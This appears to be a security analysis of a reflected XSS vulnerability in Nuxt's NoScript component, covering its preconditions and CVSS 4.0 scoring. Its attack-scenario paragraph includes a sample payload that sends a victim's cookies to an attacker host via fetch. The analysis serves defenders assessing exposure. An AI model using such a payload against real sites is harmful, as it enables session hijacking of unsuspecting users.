Nuxt CVE-2026-56317

Exploitation requires that the target Nuxt application contains code that explicitly renders attacker-controllable data inside a NoScript slot - for example, a component or page containing NoScript with route.query.someParam or equivalent attacker-influenced input. Applications that do not use the NoScript global component with dynamic untrusted input are entirely unaffected regardless of Nuxt version. The CVSS 4.0 AT:P metric confirms this application-level precondition. The page must also be server-side rendered so the payload is embedded in the HTML head at response time. Additionally, UI:P in the CVSS 4.0 vector confirms the victim must passively visit the crafted URL; there is no self-propagating or server-initiated delivery path. Exploitation is limited by: (1) the specific vulnerable code pattern must exist in the application - not a default Nuxt feature; (2) a victim must be enticed to follow a crafted URL; (3) exploitation is scoped to the victim's browser session context. The CVSS PR:N metric confirms no attacker authentication is required.

The CVSS 4.0 score of 2.3 (AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N) is internally consistent with the technical description and appropriately low. AT:P (attack requirements present) is the critical limiting factor: the vulnerability is not universally triggerable - it requires an application developer to have written code that pipes attacker-controlled data directly into a NoScript slot, a specific and non-default pattern. Teams that do not use NoScript with dynamic untrusted input are entirely unaffected regardless of version. UI:P reflects that a victim must visit a crafted URL. Despite these constraints, teams that do match the vulnerable pattern face real reflected XSS with no authentication barrier, and the public GHSA advisory contains sufficient technical detail to reconstruct the attack. No CISA KEV listing exists and no EPSS score was provided, so exploitation prevalence is unknown. No public POC has been independently confirmed. The low VC:L and VI:L impact metrics are appropriate for reflected XSS limited to the victim's session context. No conflicting signals between CVSS metrics and the technical description were identified.

An attacker identifies a Nuxt SSR application that renders a page containing NoScript with a query parameter interpolated into its slot, such as NoScript with route.query.banner. The attacker crafts a URL appending a query string like banner=<script>fetch('https://attacker.example/?c='+document.cookie)</script> and delivers it to a victim via phishing or a malicious redirect. The Nuxt server renders the page, writes the unescaped payload into the noscript element via innerHTML, and the browser's HTML parser - operating in 'in head noscript' mode - implicitly closes the noscript tag upon encountering the script tag, causing the injected script to execute in the document context and exfiltrate the victim's session cookies. No independently confirmed public POC exists at time of analysis, though the GHSA advisory's technical detail is sufficient to reconstruct the attack.